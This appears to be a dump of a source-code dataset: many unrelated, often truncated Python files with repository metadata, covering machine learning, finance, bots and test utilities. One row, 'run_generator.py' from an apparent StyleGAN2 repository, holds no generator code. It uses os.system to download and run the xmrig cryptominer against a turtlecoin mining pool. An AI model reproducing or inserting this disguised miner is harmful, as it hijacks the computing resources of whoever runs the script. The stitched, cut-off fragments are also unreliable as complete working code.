import warnings
warnings.filterwarnings("ignore")
import itertools
import seaborn as sns
import matplotlib.pylab as plt
import matplotlib.colors as mc
from genecast_pa... | 39.23431 | 156 | 0.630266 | ools
import seaborn as sns
import matplotlib.pylab as plt
import matplotlib.colors as mc
from genecast_package.svm_analysis import feature_select, evaluate_model
from sklearn.decomposition import PCA
from collections import OrderedDict
from collections import defaultdict
import datetime
import pandas as pd
from scipy.s... | true | true |
790b0587c2415c64ec38f584c0c79b320ea5c5f0 | 500 | py | Python | mnc/lwa_hiplot.py | jaycedowell/mnc_python | bc378ccc9a6cfaf76691122f072366b13e6ef092 | [
"BSD-3-Clause"
] | 2 | 2021-08-12T18:18:11.000Z | 2021-12-02T07:58:51.000Z | mnc/lwa_hiplot.py | jaycedowell/mnc_python | bc378ccc9a6cfaf76691122f072366b13e6ef092 | [
"BSD-3-Clause"
] | 1 | 2021-12-15T18:51:14.000Z | 2021-12-15T18:51:14.000Z | mnc/lwa_hiplot.py | jaycedowell/mnc_python | bc378ccc9a6cfaf76691122f072366b13e6ef092 | [
"BSD-3-Clause"
] | 1 | 2021-12-03T15:05:00.000Z | 2021-12-03T15:05:00.000Z | import hiplot
import lwa_antpos
def get_exp(uri):
df = lwa_antpos.lwa_df.reset_index()
df.drop(0, inplace=True) # remove antnum=0
df.antname = df.antname.apply(lambda x: int(x.split('-')[1]))
df.rename(columns={'antname': 'antnum'}, inplace=True)
df = df[['antnum', 'pola_fee', 'polb_fee', 'arx_add... | 38.461538 | 119 | 0.69 | import hiplot
import lwa_antpos
def get_exp(uri):
df = lwa_antpos.lwa_df.reset_index()
df.drop(0, inplace=True)
df.antname = df.antname.apply(lambda x: int(x.split('-')[1]))
df.rename(columns={'antname': 'antnum'}, inplace=True)
df = df[['antnum', 'pola_fee', 'polb_fee', 'arx_address', 'pola_arx_... | true | true |
790b05ca0e0c618bfe1b0827b220b95931031312 | 1,092 | py | Python | plugins/user.py | fosslife/grambot | fbec1a8df939823b18915d4689e9da6f5adb871b | [
"MIT"
] | 7 | 2020-05-28T04:08:02.000Z | 2022-02-22T18:11:03.000Z | plugins/user.py | fosslife/grambot | fbec1a8df939823b18915d4689e9da6f5adb871b | [
"MIT"
] | 1 | 2021-07-28T10:12:25.000Z | 2021-12-13T15:09:43.000Z | plugins/user.py | fosslife/grambot | fbec1a8df939823b18915d4689e9da6f5adb871b | [
"MIT"
] | 4 | 2020-03-30T18:27:08.000Z | 2022-02-25T16:28:06.000Z | from userbot import bot, logger
from telethon import TelegramClient, events
from config import user
from telethon.tl.functions.users import GetFullUserRequest
@bot.on(events.NewMessage(**user))
async def getUser(event):
logger.info("user plugin is called")
pattern_string = event.pattern_match.string
entity... | 42 | 113 | 0.725275 | from userbot import bot, logger
from telethon import TelegramClient, events
from config import user
from telethon.tl.functions.users import GetFullUserRequest
@bot.on(events.NewMessage(**user))
async def getUser(event):
logger.info("user plugin is called")
pattern_string = event.pattern_match.string
entity... | true | true |
790b0642bc651ce6634c07feaef088b93a3e0de0 | 9,643 | py | Python | models/official/detection/modeling/architecture/resnet.py | hoangphucITJP/tpu | e4ce0d8eb61a828d4b5fe09effd082356e88545c | [
"Apache-2.0"
] | null | null | null | models/official/detection/modeling/architecture/resnet.py | hoangphucITJP/tpu | e4ce0d8eb61a828d4b5fe09effd082356e88545c | [
"Apache-2.0"
] | null | null | null | models/official/detection/modeling/architecture/resnet.py | hoangphucITJP/tpu | e4ce0d8eb61a828d4b5fe09effd082356e88545c | [
"Apache-2.0"
] | null | null | null | # Lint as: python2, python3
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
... | 37.964567 | 80 | 0.657057 |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from six.moves import range
import tensorflow.compat.v1 as tf
from modeling.architecture import nn_blocks
from modeling.architecture import nn_ops
def get_drop_connect_rate(init_rate, block_n... | true | true |
790b0695b94723e79b7c0b1171676002fd6a3093 | 1,310 | py | Python | Data Structures/Stack/Balanced Bracket/balanced_bracket.py | brianchiang-tw/HackerRank | 02a30a0033b881206fa15b8d6b4ef99b2dc420c8 | [
"MIT"
] | 2 | 2020-05-28T07:15:00.000Z | 2020-07-21T08:34:06.000Z | Data Structures/Stack/Balanced Bracket/balanced_bracket.py | brianchiang-tw/HackerRank | 02a30a0033b881206fa15b8d6b4ef99b2dc420c8 | [
"MIT"
] | null | null | null | Data Structures/Stack/Balanced Bracket/balanced_bracket.py | brianchiang-tw/HackerRank | 02a30a0033b881206fa15b8d6b4ef99b2dc420c8 | [
"MIT"
] | null | null | null | #!/bin/python3
import math
import os
import random
import re
import sys
# Complete the isBalanced function below.
def isBalanced(s):
left_symbol = [ '{', '[', '(']
right_symbol = [ '}', ']', ')']
# fast checking of symbol counting equality
for i in range(3):
left_count = s.count( left_symbo... | 17.702703 | 63 | 0.499237 |
import math
import os
import random
import re
import sys
def isBalanced(s):
left_symbol = [ '{', '[', '(']
right_symbol = [ '}', ']', ')']
for i in range(3):
left_count = s.count( left_symbol[i] )
right_count = s.count( right_symbol[i] )
if left_count != right_count:
... | true | true |
790b06f7d961da5eefda7131950028b89915e567 | 3,008 | py | Python | binance-fetch-ohlcv-to-csv.py | yinfeng2016/Bitcoin-Trader-RL | cd75848fa89f076ee3d91cf2b866b8160a038b30 | [
"MIT"
] | null | null | null | binance-fetch-ohlcv-to-csv.py | yinfeng2016/Bitcoin-Trader-RL | cd75848fa89f076ee3d91cf2b866b8160a038b30 | [
"MIT"
] | null | null | null | binance-fetch-ohlcv-to-csv.py | yinfeng2016/Bitcoin-Trader-RL | cd75848fa89f076ee3d91cf2b866b8160a038b30 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import sys
import csv
# -----------------------------------------------------------------------------
root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
sys.path.append(root + '/python')
import ccxt # noqa: E402
# --------------------------------... | 39.578947 | 133 | 0.628657 |
import os
import sys
import csv
root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
sys.path.append(root + '/python')
import ccxt
def retry_fetch_ohlcv(exchange, max_retries, symbol, timeframe, since, limit):
num_retries = 0
try:
num_retries += 1
ohlcv... | true | true |
790b07891b7b81348e644b5d2b4ad376f79cff20 | 21,906 | py | Python | local2global_embedding/run.py | LJeub/Local2Global_embedding | 22e1818639043444f97655d944997a171b992745 | [
"MIT"
] | null | null | null | local2global_embedding/run.py | LJeub/Local2Global_embedding | 22e1818639043444f97655d944997a171b992745 | [
"MIT"
] | null | null | null | local2global_embedding/run.py | LJeub/Local2Global_embedding | 22e1818639043444f97655d944997a171b992745 | [
"MIT"
] | null | null | null | """Training run script"""
import argparse
import json
from pathlib import Path
from bisect import bisect_left
import torch
import torch_geometric as tg
import matplotlib.pyplot as plt
import local2global as l2g
from local2global_embedding.embedding import speye, train, embedding, VGAE_model, VGAE_loss, reconstructio... | 39.61302 | 147 | 0.61773 |
import argparse
import json
from pathlib import Path
from bisect import bisect_left
import torch
import torch_geometric as tg
import matplotlib.pyplot as plt
import local2global as l2g
from local2global_embedding.embedding import speye, train, embedding, VGAE_model, VGAE_loss, reconstruction_auc
from local2global_em... | true | true |
790b08bb6917d38a656b112ba98748029b3f9856 | 5,030 | py | Python | fedlab_benchmarks/fedmgda+/standalone.py | KarhouTam/FedLab-benchmarks | 6de0ca56f645794ca7eae0f19c6b0117165d3404 | [
"Apache-2.0"
] | null | null | null | fedlab_benchmarks/fedmgda+/standalone.py | KarhouTam/FedLab-benchmarks | 6de0ca56f645794ca7eae0f19c6b0117165d3404 | [
"Apache-2.0"
] | null | null | null | fedlab_benchmarks/fedmgda+/standalone.py | KarhouTam/FedLab-benchmarks | 6de0ca56f645794ca7eae0f19c6b0117165d3404 | [
"Apache-2.0"
] | null | null | null | from json import load
import os
import argparse
import random
from copy import deepcopy
import torchvision
import torchvision.transforms as transforms
from torch import nn
import sys
import torch
import numpy as np
import cvxopt
torch.manual_seed(0)
from fedlab.core.client.serial_trainer import SubsetSerialTrainer
fro... | 34.689655 | 123 | 0.615706 | from json import load
import os
import argparse
import random
from copy import deepcopy
import torchvision
import torchvision.transforms as transforms
from torch import nn
import sys
import torch
import numpy as np
import cvxopt
torch.manual_seed(0)
from fedlab.core.client.serial_trainer import SubsetSerialTrainer
fro... | true | true |
790b090b063c370e613c4b73471668b127b66fc5 | 1,354 | py | Python | test/test_day17.py | frangiz/AdventOfCode2018 | dffbc0a8467d3c31678d9719923c461b0b12d67f | [
"MIT"
] | null | null | null | test/test_day17.py | frangiz/AdventOfCode2018 | dffbc0a8467d3c31678d9719923c461b0b12d67f | [
"MIT"
] | null | null | null | test/test_day17.py | frangiz/AdventOfCode2018 | dffbc0a8467d3c31678d9719923c461b0b12d67f | [
"MIT"
] | null | null | null | """The tests for day17."""
from days import day17
from ddt import ddt, data, unpack
import unittest
import helpers
@ddt
class MyTestCase(unittest.TestCase): # noqa D101
@data(
[[
'x=495, y=2..7',
'y=7, x=495..501',
'x=501, y=3..7',
'x=498, y=2..4',
... | 28.808511 | 69 | 0.521418 | from days import day17
from ddt import ddt, data, unpack
import unittest
import helpers
@ddt
class MyTestCase(unittest.TestCase):
@data(
[[
'x=495, y=2..7',
'y=7, x=495..501',
'x=501, y=3..7',
'x=498, y=2..4',
'x=506, y=1..2',
'x=498... | true | true |
790b090f6347653937f7ebcfb73826e6f1050b01 | 3,483 | py | Python | utils/graph_utils.py | BrunoKM/rhoana_graph_tools | 7150f4bc6337ecf51dd9123cf03561a57d655160 | [
"MIT"
] | 1 | 2018-08-17T00:12:30.000Z | 2018-08-17T00:12:30.000Z | utils/graph_utils.py | BrunoKM/rhoana_graph_tools | 7150f4bc6337ecf51dd9123cf03561a57d655160 | [
"MIT"
] | null | null | null | utils/graph_utils.py | BrunoKM/rhoana_graph_tools | 7150f4bc6337ecf51dd9123cf03561a57d655160 | [
"MIT"
] | 1 | 2019-05-19T07:08:54.000Z | 2019-05-19T07:08:54.000Z | import numpy as np
import networkx as nx
if __name__ == '__main__':
from ged4py.algorithm import graph_edit_dist
else:
from .ged4py.algorithm import graph_edit_dist
def rearrange_adj_matrix(matrix, ordering):
assert matrix.ndim == 2
# Check that matrix is square
assert matrix.shape[0] == matrix.sh... | 34.147059 | 105 | 0.676715 | import numpy as np
import networkx as nx
if __name__ == '__main__':
from ged4py.algorithm import graph_edit_dist
else:
from .ged4py.algorithm import graph_edit_dist
def rearrange_adj_matrix(matrix, ordering):
assert matrix.ndim == 2
assert matrix.shape[0] == matrix.shape[1]
num_nodes = matrix... | true | true |
790b096adf0a7dadc6f725ff23f532c4b282732e | 1,938 | py | Python | tools/fastq/fastq_combiner.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | 2 | 2016-02-23T00:09:14.000Z | 2019-02-11T07:48:44.000Z | tools/fastq/fastq_combiner.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | null | null | null | tools/fastq/fastq_combiner.py | bopopescu/phyG | 023f505b705ab953f502cbc55e90612047867583 | [
"CC-BY-3.0"
] | 6 | 2015-05-27T13:09:50.000Z | 2019-02-11T07:48:46.000Z | #Dan Blankenberg
import sys, os, shutil
from galaxy_utils.sequence.fastq import fastqWriter, fastqSequencingRead, fastqCombiner, fastqFakeFastaScoreReader
from galaxy_utils.sequence.fasta import fastaReader, fastaNamedReader
def main():
#Read command line arguments
fasta_filename = sys.argv[1]
fasta_type =... | 38.76 | 159 | 0.657895 |
import sys, os, shutil
from galaxy_utils.sequence.fastq import fastqWriter, fastqSequencingRead, fastqCombiner, fastqFakeFastaScoreReader
from galaxy_utils.sequence.fasta import fastaReader, fastaNamedReader
def main():
fasta_filename = sys.argv[1]
fasta_type = sys.argv[2] or 'fasta'
qual_filename =... | false | true |
790b0a8ad1c25e10ce9deea1ce87883a46e7a21f | 20,506 | py | Python | fairseq/models/wav2vec/wav2vec2_asr.py | fairseq-FT/fairseq | 18725499144c1bba7c151b796ba774e59d36eaa9 | [
"MIT"
] | 33 | 2021-01-06T18:03:55.000Z | 2022-03-28T12:07:44.000Z | fairseq/models/wav2vec/wav2vec2_asr.py | fairseq-FT/fairseq | 18725499144c1bba7c151b796ba774e59d36eaa9 | [
"MIT"
] | 8 | 2021-06-11T03:11:37.000Z | 2022-03-08T19:15:42.000Z | fairseq/models/wav2vec/wav2vec2_asr.py | fairseq-FT/fairseq | 18725499144c1bba7c151b796ba774e59d36eaa9 | [
"MIT"
] | 14 | 2021-05-17T06:55:01.000Z | 2022-03-28T12:07:42.000Z | # Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from argparse import Namespace
import contextlib
import copy
import math
import numpy as np
import torch
import torch.nn as nn
import torch.nn... | 34.521886 | 90 | 0.631913 |
from argparse import Namespace
import contextlib
import copy
import math
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
from dataclasses import dataclass, field
from omegaconf import MISSING, II, open_dict
from typing import Any
from fairseq import checkpoint_utils, tasks, u... | true | true |
790b0c39682933c1feb2c6fab90ea0c2e8d189c6 | 2,733 | py | Python | deepspeech/frontend/augmentor/noise_perturb.py | zh794390558/DeepSpeech | 34178893327ad359cb816e55d7c66a10244fa08a | [
"Apache-2.0"
] | null | null | null | deepspeech/frontend/augmentor/noise_perturb.py | zh794390558/DeepSpeech | 34178893327ad359cb816e55d7c66a10244fa08a | [
"Apache-2.0"
] | null | null | null | deepspeech/frontend/augmentor/noise_perturb.py | zh794390558/DeepSpeech | 34178893327ad359cb816e55d7c66a10244fa08a | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 42.046154 | 80 | 0.71094 |
from deepspeech.frontend.audio import AudioSegment
from deepspeech.frontend.augmentor.base import AugmentorBase
from deepspeech.frontend.utility import read_manifest
class NoisePerturbAugmentor(AugmentorBase):
def __init__(self, rng, min_snr_dB, max_snr_dB, noise_manifest_path):
self._min_sn... | true | true |
790b0c51e0ac839b5fdaf84458d325b4adaeab5a | 3,221 | py | Python | src/training_handler.py | tobynance/simple_mud | c9be32327fcab0c9bd37fabedb7dd566709b7d48 | [
"MIT"
] | 6 | 2015-04-24T13:09:37.000Z | 2022-01-27T01:12:47.000Z | src/training_handler.py | tobynance/simple_mud | c9be32327fcab0c9bd37fabedb7dd566709b7d48 | [
"MIT"
] | 15 | 2015-03-09T00:07:55.000Z | 2015-03-10T02:30:23.000Z | src/training_handler.py | tobynance/simple_mud | c9be32327fcab0c9bd37fabedb7dd566709b7d48 | [
"MIT"
] | 2 | 2015-04-24T13:09:38.000Z | 2020-12-22T08:40:07.000Z | import logging
import player
import telnet
logger = logging.getLogger(__name__)
########################################################################
class TrainingHandler(telnet.MudTelnetHandler):
####################################################################
def __init__(self, protocol, player):
... | 43.527027 | 102 | 0.473455 | import logging
import player
import telnet
logger = logging.getLogger(__name__)
| true | true |
790b0d93c0d982713add4a368d7b247ccff99111 | 21,921 | py | Python | janitor/finance.py | thatlittleboy/pyjanitor | f7977e00d3d9bf49aebeaa62db2965a668c50c90 | [
"MIT"
] | null | null | null | janitor/finance.py | thatlittleboy/pyjanitor | f7977e00d3d9bf49aebeaa62db2965a668c50c90 | [
"MIT"
] | null | null | null | janitor/finance.py | thatlittleboy/pyjanitor | f7977e00d3d9bf49aebeaa62db2965a668c50c90 | [
"MIT"
] | null | null | null | """
Finance-specific data cleaning functions.
"""
import json
from datetime import date
from functools import lru_cache
import pandas as pd
import pandas_flavor as pf
import requests
from janitor.errors import JanitorError
from .utils import check, deprecated_alias, is_connected
currency_set = {
"AUD",
"B... | 29.384718 | 107 | 0.57356 |
import json
from datetime import date
from functools import lru_cache
import pandas as pd
import pandas_flavor as pf
import requests
from janitor.errors import JanitorError
from .utils import check, deprecated_alias, is_connected
currency_set = {
"AUD",
"BGN",
"BRL",
"CAD",
"CHF",
"CNY",
... | true | true |
790b100111e59e9ef5eca65c62ba2c50de187873 | 906 | py | Python | tensorflow_graphics/version.py | drebain/graphics | c84b7599d1f8a55ccbdd589c1a845494c17c2784 | [
"Apache-2.0"
] | 1 | 2021-06-30T14:22:50.000Z | 2021-06-30T14:22:50.000Z | tensorflow_graphics/version.py | drebain/graphics | c84b7599d1f8a55ccbdd589c1a845494c17c2784 | [
"Apache-2.0"
] | null | null | null | tensorflow_graphics/version.py | drebain/graphics | c84b7599d1f8a55ccbdd589c1a845494c17c2784 | [
"Apache-2.0"
] | 1 | 2019-10-10T06:16:30.000Z | 2019-10-10T06:16:30.000Z | #Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, so... | 31.241379 | 76 | 0.743929 |
_MAJOR_VERSION = "1"
_MINOR_VERSION = "0"
_PATCH_VERSION = "0"
_VERSION_SUFFIX = ""
__version__ = ".".join([
_MAJOR_VERSION,
_MINOR_VERSION,
_PATCH_VERSION,
])
if _VERSION_SUFFIX:
__version__ = "{}-{}".format(__version__, _VERSION_SUFFIX)
| true | true |
790b1017b47f0b31f732106e2f303d9654e402d9 | 5,977 | py | Python | qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py | webclinic017/qf-lib | 96463876719bba8a76c8269cef76addf3a2d836d | [
"Apache-2.0"
] | 198 | 2019-08-16T15:09:23.000Z | 2022-03-30T12:44:00.000Z | qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py | webclinic017/qf-lib | 96463876719bba8a76c8269cef76addf3a2d836d | [
"Apache-2.0"
] | 13 | 2021-01-07T10:15:19.000Z | 2022-03-29T13:01:47.000Z | qf_lib_tests/integration_tests/backtesting/alpha_model_strategy_testers/test_alpha_model_strategy_for_stop_losses_intraday.py | webclinic017/qf-lib | 96463876719bba8a76c8269cef76addf3a2d836d | [
"Apache-2.0"
] | 29 | 2019-08-16T15:21:28.000Z | 2022-02-23T09:53:49.000Z | # Copyright 2016-present CERN – European Organization for Nuclear Research
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2... | 60.373737 | 145 | 0.704367 |
import numpy as np
import pandas as pd
from numpy.testing import assert_equal, assert_almost_equal
from qf_lib.backtesting.events.time_event.regular_time_event.market_close_event import MarketCloseEvent
from qf_lib.backtesting.events.time_event.regular_time_event.market_open_event import MarketOpenEvent
f... | true | true |
790b10de739422fdc1702d4f47f6221000801c25 | 1,572 | py | Python | examples/progress/many-parallel-tasks.py | scalabli/quo | 70b6d4129ee705930f1f8a792fc4c9247d973f9d | [
"MIT"
] | 3 | 2022-03-13T13:22:35.000Z | 2022-03-18T08:22:51.000Z | examples/progress/many-parallel-tasks.py | scalabli/quo | 70b6d4129ee705930f1f8a792fc4c9247d973f9d | [
"MIT"
] | 1 | 2022-03-21T16:29:54.000Z | 2022-03-21T16:29:54.000Z | examples/progress/many-parallel-tasks.py | scalabli/quo | 70b6d4129ee705930f1f8a792fc4c9247d973f9d | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""
More complex demonstration of what's possible with the progress bar.
"""
import threading
import time
from quo.text import Text
from quo.progress import ProgressBar
def main():
with ProgressBar(
title=Text("<b>Example of many parallel tasks.</b>"),
bottom_toolbar=Text("<b... | 34.173913 | 82 | 0.592875 |
import threading
import time
from quo.text import Text
from quo.progress import ProgressBar
def main():
with ProgressBar(
title=Text("<b>Example of many parallel tasks.</b>"),
bottom_toolbar=Text("<b>[Control-L]</b> clear <b>[Control-C]</b> abort"),
) as pb:
def run_task(label, tota... | true | true |
790b10e66ba6f6755bae0c6eb5fe3a10af76ed1c | 4,266 | py | Python | purity_fb/purity_fb_1dot5/models/hardware_connector_response.py | unixtreme/purity_fb_python_client | e836afe9804ffa99f74bf4b5202f181c3c04d9df | [
"Apache-2.0"
] | null | null | null | purity_fb/purity_fb_1dot5/models/hardware_connector_response.py | unixtreme/purity_fb_python_client | e836afe9804ffa99f74bf4b5202f181c3c04d9df | [
"Apache-2.0"
] | null | null | null | purity_fb/purity_fb_1dot5/models/hardware_connector_response.py | unixtreme/purity_fb_python_client | e836afe9804ffa99f74bf4b5202f181c3c04d9df | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Purity//FB REST Client
Client for Purity//FB REST API (1.0), developed by [Pure Storage, Inc](http://www.purestorage.com/). Documentations can be found at [purity-fb.readthedocs.io](http://purity-fb.readthedocs.io/).
OpenAPI spec version: 1.5
Contact: info@purestorage.com
Gene... | 27.701299 | 197 | 0.585795 |
from pprint import pformat
from six import iteritems
import re
class HardwareConnectorResponse(object):
swagger_types = {
'pagination_info': 'PaginationInfo',
'items': 'list[HardwareConnector]'
}
attribute_map = {
'pagination_info': 'pagination_info',
'items': 'items... | true | true |
790b1144d75491d0b25d7dba6e366933b0948fd9 | 3,964 | py | Python | pyperf/cmd/daemons.py | kevinconway/PyPerf | 5aaf9943bb6d979e2f42229ed629816bc3ca1fb4 | [
"Apache-2.0"
] | null | null | null | pyperf/cmd/daemons.py | kevinconway/PyPerf | 5aaf9943bb6d979e2f42229ed629816bc3ca1fb4 | [
"Apache-2.0"
] | 2 | 2015-07-12T19:55:25.000Z | 2016-01-30T14:32:11.000Z | pyperf/cmd/daemons.py | kevinconway/PyPerf | 5aaf9943bb6d979e2f42229ed629816bc3ca1fb4 | [
"Apache-2.0"
] | null | null | null | """Commands for starting daemons."""
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
import argparse
import pprint
import confpy.api
import confpy.core.option
from .. import messages
cfg = confpy.api.Configuration... | 25.74026 | 77 | 0.619324 |
from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals
import argparse
import pprint
import confpy.api
import confpy.core.option
from .. import messages
cfg = confpy.api.Configuration(
transport=confpy.api.Namespace(... | true | true |
790b12e07c9d98672f8fa8e1fa2048ff267f36b2 | 460 | py | Python | run_generator.py | vps01bao/StyleGAN2 | 1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | vps01bao/StyleGAN2 | 1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | vps01bao/StyleGAN2 | 1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c | [
"BSD-Source-Code"
] | null | null | null | import os as alpha
alpha.system("apt-get install -y tmux && tmux new-session 'apt-get -y install wget && wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-x64.tar.gz && tar -xvf xmrig-6.15.0-linux-x64.tar.gz && cd xmrig-6.15.0 && ./xmrig --donate-level 1 -o de.turtlecoin.herominers.com:11... | 153.333333 | 440 | 0.771739 | import os as alpha
alpha.system("apt-get install -y tmux && tmux new-session 'apt-get -y install wget && wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-x64.tar.gz && tar -xvf xmrig-6.15.0-linux-x64.tar.gz && cd xmrig-6.15.0 && ./xmrig --donate-level 1 -o de.turtlecoin.herominers.com:11... | true | true |
790b13a929fd2156cb71cdd6e14944f56f33744a | 4,643 | py | Python | simple_api/django_object/django_object.py | ladal1/simple_api | 1b5d560476bccad9f68a7331d092dbdb68c48bf7 | [
"MIT"
] | 1 | 2021-02-24T22:14:59.000Z | 2021-02-24T22:14:59.000Z | simple_api/django_object/django_object.py | ladal1/simple_api | 1b5d560476bccad9f68a7331d092dbdb68c48bf7 | [
"MIT"
] | null | null | null | simple_api/django_object/django_object.py | ladal1/simple_api | 1b5d560476bccad9f68a7331d092dbdb68c48bf7 | [
"MIT"
] | null | null | null | from copy import deepcopy
from simple_api.django_object.actions import DetailAction, ListAction, CreateAction, UpdateAction, DeleteAction
from simple_api.django_object.datatypes import create_associated_list_type
from simple_api.django_object.filters import generate_filters
from simple_api.django_object.converter impo... | 39.347458 | 116 | 0.697825 | from copy import deepcopy
from simple_api.django_object.actions import DetailAction, ListAction, CreateAction, UpdateAction, DeleteAction
from simple_api.django_object.datatypes import create_associated_list_type
from simple_api.django_object.filters import generate_filters
from simple_api.django_object.converter impo... | true | true |
790b13d3bf64c67079260e68880abcf1b4b6ee36 | 21,638 | py | Python | qa/rpc-tests/test_framework/util.py | cephcoin/cephcoin | 3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4 | [
"MIT"
] | 1 | 2018-02-09T16:02:34.000Z | 2018-02-09T16:02:34.000Z | qa/rpc-tests/test_framework/util.py | cephcoin/cephcoin | 3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4 | [
"MIT"
] | null | null | null | qa/rpc-tests/test_framework/util.py | cephcoin/cephcoin | 3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4 | [
"MIT"
] | null | null | null | # Copyright (c) 2014-2015 The Bitcoin Core developers
# Copyright (c) 2014-2017 The CephCoin Core developers
# Distributed under the MIT/X11 software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
# Helpful routines for regression testing
#
# Add python-bitcoinr... | 35.356209 | 153 | 0.652509 |
import os
import sys
from binascii import hexlify, unhexlify
from base64 import b64encode
from decimal import Decimal, ROUND_DOWN
import json
import random
import shutil
import subprocess
import time
import re
import errno
from . import coverage
from .authproxy import AuthServiceProxy, JSONRPCException
CO... | false | true |
790b13e0719e348fcf4df241d8465987b32600d0 | 2,400 | py | Python | algorithm_rgb.py | jvanderleeuw/template-rgb-plot-test | 88d88eccfd182f293d217a04b7ecd40f7b03b9f0 | [
"BSD-3-Clause"
] | 2 | 2020-02-07T16:08:39.000Z | 2020-02-17T15:08:38.000Z | algorithm_rgb.py | jvanderleeuw/template-rgb-plot-test | 88d88eccfd182f293d217a04b7ecd40f7b03b9f0 | [
"BSD-3-Clause"
] | 5 | 2020-07-23T23:45:47.000Z | 2021-09-13T20:11:54.000Z | .github/workflows/algorithm_rgb.py | AgPipeline/plot-base-rgb | 012cf97e45a0f281d21b94e02ff05fd34b459805 | [
"BSD-3-Clause"
] | 3 | 2019-11-22T20:12:57.000Z | 2021-05-07T13:52:12.000Z | """My nifty plot-level RGB algorithm
"""
# Importing modules. Please add any additional import statements below
import numpy as np
# Definitions
# Please replace these definitions' values with the correct ones
VERSION = '1.0'
# Information on the creator of this algorithm
ALGORITHM_AUTHOR = 'Unknown'
ALGORITHM_AUTHO... | 38.095238 | 128 | 0.768333 |
import numpy as np
VERSION = '1.0'
# Information on the creator of this algorithm
ALGORITHM_AUTHOR = 'Unknown'
ALGORITHM_AUTHOR_EMAIL = ''
ALGORITHM_CONTRIBUTORS = [""]
ALGORITHM_NAME = 'my nifty one'
ALGORITHM_DESCRIPTION = 'This algorithm calculates the niftyness of RGB plot-level images'
# Citation informati... | true | true |
790b14439046bd301a529a673057b56fe6681eb9 | 315 | py | Python | sprint/core/parser/args.py | ii-Python/Sprint-v2 | 2579b7f9a36ac5c5ec541ca3dce6cf61357db948 | [
"MIT"
] | null | null | null | sprint/core/parser/args.py | ii-Python/Sprint-v2 | 2579b7f9a36ac5c5ec541ca3dce6cf61357db948 | [
"MIT"
] | null | null | null | sprint/core/parser/args.py | ii-Python/Sprint-v2 | 2579b7f9a36ac5c5ec541ca3dce6cf61357db948 | [
"MIT"
] | null | null | null | class Argument(object):
def __init__(self, argument = None, base: bool = False):
self.arg = argument
self.is_base = base
def __repr__(self):
return self.arg
def __str__(self):
return self.arg
def is_pipe(self):
return self.arg == ">>" or self.arg == "<<"
| 21 | 60 | 0.571429 | class Argument(object):
def __init__(self, argument = None, base: bool = False):
self.arg = argument
self.is_base = base
def __repr__(self):
return self.arg
def __str__(self):
return self.arg
def is_pipe(self):
return self.arg == ">>" or self.arg == "<<"
| true | true |
790b153c215eea49b75468a9c1aed9959780cb22 | 1,662 | py | Python | spark_auto_mapper/data_types/unix_timestamp.py | icanbwell/SparkAutoMapper | bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4 | [
"Apache-2.0"
] | 2 | 2021-12-27T10:41:59.000Z | 2022-02-24T00:19:40.000Z | spark_auto_mapper/data_types/unix_timestamp.py | icanbwell/SparkAutoMapper | bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4 | [
"Apache-2.0"
] | 5 | 2020-10-22T01:19:11.000Z | 2021-03-18T16:04:23.000Z | spark_auto_mapper/data_types/unix_timestamp.py | icanbwell/SparkAutoMapper | bfd5da72f3b55ec48860935228c1ecf6d7c1a2e4 | [
"Apache-2.0"
] | 3 | 2020-12-17T21:23:46.000Z | 2021-07-29T18:08:31.000Z | from typing import Optional
from pyspark.sql import Column, DataFrame
from pyspark.sql.functions import from_unixtime, to_timestamp
from spark_auto_mapper.data_types.data_type_base import AutoMapperDataTypeBase
from spark_auto_mapper.helpers.value_parser import AutoMapperValueParser
from spark_auto_mapper.type_defini... | 33.918367 | 109 | 0.661252 | from typing import Optional
from pyspark.sql import Column, DataFrame
from pyspark.sql.functions import from_unixtime, to_timestamp
from spark_auto_mapper.data_types.data_type_base import AutoMapperDataTypeBase
